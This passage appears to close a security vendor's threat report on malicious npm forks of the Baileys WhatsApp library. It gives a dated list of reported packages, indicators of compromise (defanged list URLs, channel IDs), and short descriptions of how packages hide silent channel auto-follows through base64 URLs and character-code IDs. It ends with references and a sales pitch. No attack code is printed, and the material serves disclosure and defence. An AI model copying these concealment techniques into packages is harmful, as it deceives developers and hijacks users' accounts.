2026-05-01@jarxmarkett/baileysnew#1674pending
2026-05-01@gaxtamvan/baileys#1674pending
2026-05-02@gadzzxbaileysnew/baileysnew#1674pending
2026-05-02@fadeldev/baileys-mods#1674pending
2026-05-05@revinza/baileys#1674pending
2026-05-08@zentrix/baileys#1674pending
2026-05-10@elfhkry/baileys#1674pending
2026-05-14shadowmd-baileys#1674pending
2026-05-15@shinzepelly/wabaileys#1674pending
2026-05-16@shinzepelly/baileys#1674pending
2026-05-16madara-baileys#1674pending
2026-05-17@justinofficial/baileys#1674pending
2026-05-17@xyrozero/baileys-mod#1674pending
2026-05-19xprov2baileystest#1674pending
2026-05-22@exclipz/bails#1674pending
2026-05-26@epinkenedy/siiu#1674pending
2026-05-27skylerss#1674pending
2026-05-31turbo-baileys#1674pending
2026-06-02@sanz-0fx/baileys-mod#1674pending
2026-06-04@fanzxnothuman/baileys#1674pending
2026-06-04changli-baileys#1674pending
2026-06-07mid-baileys#1674pending
2026-06-08r-baileys#1674pending
2026-06-09@zeppeliorg/xzcbailz#1674pending
2026-06-10@exclipz/baileys#1674pending
2026-06-13@kaelllovemamah/bails#1674pending
2026-06-17wertybailz#1674pending
2026-06-18@kevin-b2t/baileys#1674pending
2026-06-18@vinzsocket/baileys#1674pending
2026-06-20@barz-dev/baileys#1674pending
2026-06-23zenvyflump#1674pending
2026-06-23@langitdeveloper/baileys#1674pending
2026-06-23justinofficial#1674pending
2026-06-25habibih-bailys#1674pending
2026-06-27@ranstech/baileys#1674pending
2026-06-28@pahinak/baileys#1674pending
2026-06-28@bellachu/bails#1674pending
2026-06-29@ranstech/bails#1674pending
2026-06-29@rizzkezik/baileys#1674pending
2026-06-29skylen-baileys#1674pending
2026-06-29@rizzkezik/bails#1674pending
2026-06-29@pahinak/bails#1674pending
2026-06-29@bmbxmd/baileys#1674pending
2026-07-01botify-wa#1674pending
2026-07-07@nuxzofficial/baileys#1674pending
2026-07-07nuxzofficial#1674pending
2026-07-07@bufferstudio/baileys-natsu#1674pending
2026-07-11kafbail#1674pending
2026-07-12yukistage#1674pending
2026-07-15koezoet-new#1674pending
2026-07-17vlyzer-baileys#1674pending
2026-07-18@zlynzee/baileys#1674pending
2026-07-19felixid#1674pending
2026-07-23ctbaileys#1674pending
2026-07-24@fyxzbail/baileys#1674pending
2026-07-25@rakku-kun/baileys#1674pending
2026-07-26@xjokerofficial/baileys#1674pending
2026-07-27delkira-baileys#1674pending
2026-07-28zhenbaileys#1674pending
2026-07-28@sanzope/bailjir#1674pending
2026-07-30@ms-nicky/baileys#1674pending
2026-07-30ms-nicky-baileys#1674pending
2026-08-01@xsat10/baileys#1674pending
2026-08-02mybotthisoneis#1674pending
2026-08-02foxxy-baileys#1674pending
2026-08-02vanzdev#1674pending
2026-08-03lilgabriel-baileys#1674pending
2026-08-04killua-baileys#1674pending
2026-08-04aytidaoffc#1674pending
2026-08-04budetzz#1674pending
2026-08-06@fanzxnothuman/xbails#1674pending
2026-08-09@ikyybella/baileys#1674pending
2026-09-10sakubilzz#1674pending
2026-09-18@billabilloyy/baileys#1674pending
2026-09-29@animebails/baileys#1674pending
2026-09-30@kasabaileys/baileys#1674pending
2026-10-01alip-baileys#1674pending
2026-10-02@jexkcode/baileys#1674pending
2026-10-07@violetix/baileys#1674pending
2026-10-09canta-baileys#1666pending
2026-10-09ruby-baileys#1666pending
2026-10-09@raffnotdev/baileys#1666pending
2026-10-09@monze1239/baileys#1666pending
2026-10-10ichigokurosaki-baileys#1666pending
2026-10-10rimuru-md#1674pending
2026-10-10@teamqadeer1/baileys#1674pending
2026-10-10@bellaxchan/techxatz#1666pending
2026-10-10@bellaxchan/bailtech#1666pending
2026-10-10@bellaxchan/sixtech#1666pending
2026-10-10@bellaxchan/eleventech#1666pending
2026-10-10@aboutdisz/baileys#1674pending
2026-10-10ndraawzz-baileys#1666pending
2026-10-11@poucode/baileys#1674pending
2026-10-12@zyrennofficiall/baileys#1666pending
2026-10-13@sakataa/baileys#1666pending
2026-10-13@dyllxnn/baileys#1666pending
2026-10-14@lekzox/baileys#1666pending
2026-10-15@axo_cuy/baileyss#1666pending
2026-10-15diezyxalya-baileys#1674pending
2026-10-15diezyxalisa-baileys#1674pending
2026-10-19@randev404/baileys#1674pending
2026-10-20@elfhkry666/baileys#1674pending
2026-10-21zero2-baileys#1674pending
2026-10-22xzvbailss#1666pending
2026-10-24aemeath-baileys#1666pending
2026-10-24kevinx-baileys#1666pending
2026-10-24@alannxds/baileys#1666pending
2026-10-25@zaxius/baileys#1666pending
2026-10-25lunaaa-baileys#1666pending
2026-10-25@wanzforme/bails#1666pending
2026-10-26itssofc#1674pending

Appendix B: indicators

Hosts are defanged. Package names and channel IDs stay plain so you can search for them. Every list host below was fetched by the package named next to it, from our extraction on 26 October 2026.

Protocol

TypeIndicatorContext
FOLLOW query7871414976211147w:mex query_id for FOLLOW (MAL-2026-17342)

Remote channel lists not in the published IOCs

TypeIndicatorFetched by
Listraw[.]githubusercontent[.]com/kagarii/Screaper@kynna/baileys-pro
Listraw[.]githubusercontent[.]com/kiuur/IDCH@kyuu2nd/baileys
Listraw[.]githubusercontent[.]com/neofetch25/ID-Channel@ndikafath/baileys
Listraw[.]githubusercontent[.]com/ravliesh/listid@ravliesh/baileys
Listraw[.]githubusercontent[.]com/clarssafaqih-rgb/clarissa@risaoffc/baileys
Listraw[.]githubusercontent[.]com/RiyanOfficiall/ChannelID@riyanofficial/baileys-pro
Listraw[.]githubusercontent[.]com/Dilu-x/Screaper@shithsu/baileys-mod
Listraw[.]githubusercontent[.]com/SkyzeePedia/database@skyzeeshop/baileys-mod
Listraw[.]githubusercontent[.]com/h4nzzy/WAchannel@hanzzy/baileys-mod or @hanzzyy/baileys (one list each)
Listraw[.]githubusercontent[.]com/h4nzzy/Screaper@hanzzy/baileys-mod or @hanzzyy/baileys (one list each)
Listraw[.]githubusercontent[.]com/lubyzofficial/channel@lubyzzxmods/baileys

Lists OX already published, fetched by new packages

TypeIndicatorFetched by
Listfiles[.]gifted[.]co[.]ke/file/chJids.json@bmbxmd/baileys 2.5.8, URL stored in base64
Listraw[.]githubusercontent[.]com/FallEzz/baileys-corpcanta-baileys

Most-shared channels

TypeIndicatorFollowed by (of the 285, every version)
Channel120363420757607688@newsletter10 packages
Channel120363303656790201@newsletter7 packages
Channel120363420249672073@newsletter7 packages
Channel120363424020283759@newsletter7 packages
Channel120363425177067841@newsletter7 packages
Channel120363425869049995@newsletter7 packages

Packages described in this post

TypePackageBehaviour
Packagevendezuubaileys 1.0.0Follows 120363399204776509@newsletter on every keep-alive (lib/Socket/socket.js)
Package@kasabaileys/baileys 2.0.1Follows 120363431179022660@newsletter on connection open; README says no auto-follow
Packagebaileys-clean 7.3.2newsletterAutoFollowSilent follows four owner channels, then every 60 seconds
Packagehabibih-bailys 7.3.2Same newsletter code as baileys-clean 7.3.2
Packagechangli-baileys 0.1.3triggerAutoFollow follows 120363202468807644@newsletter 90 seconds after connect
Package@alzx7z/baileys 2.0.8Channel IDs built from character codes
Package@bmbxmd/baileys 2.5.8List URL stored in base64
Packagereyz-baileys 1.0.5// FITUR AUTO JOIN CHANNEL (SILENT) in index.js
Packagereyz4you-baileys-v1The same comment in index.js
Packager-baileys 1.0.0Follows a list 10 seconds after load

References

  1. CyberXYZ, source review of 4,515 npm versions of Baileys forks and lookalikes, and the channel and list extraction from the 364 covert ones (26 Oct 2026); every published version of the 285 packages (27 Oct 2026)
  2. CyberXYZ, ossf/malicious-packages pull request #1666, 23 PhantomSub reports credited to CyberXYZ (26 Oct 2026)
  3. CyberXYZ, ossf/malicious-packages pull request #1674, 258 PhantomSub reports credited to CyberXYZ (27 Oct 2026)
  4. SafeDep, Baileys npm forks farm WhatsApp Channel followers, Kunal Singh (10 Aug 2026)
  5. Xygeni, Malicious npm Package in Baileys Fork (Skyzopedia Case), Fátima Said (18 Sep 2026)
  6. OX Security, PhantomSub: Malicious npm Campaign Secretly Adds Users to WhatsApp Spam Channels, Nir Zadok, Moshe Siman Tov Bustan and Vitalii Chepurko (28 Sep 2026)
  7. OSV, MAL-2026-17342: Malicious code in @bellaxchuu/belbails (npm), credits Amazon Inspector and OX Security (8 Oct 2026)
  8. MITRE ATT&CK, T1195.002 Compromise Software Supply Chain
👋
// book a demo

Want to see it block a real attack?

Book 15 minutes. We run real packages through CyberXYZ while you watch, axios 1.14.1 among them, then connect one laptop or one pipeline for a 30-day proof of value.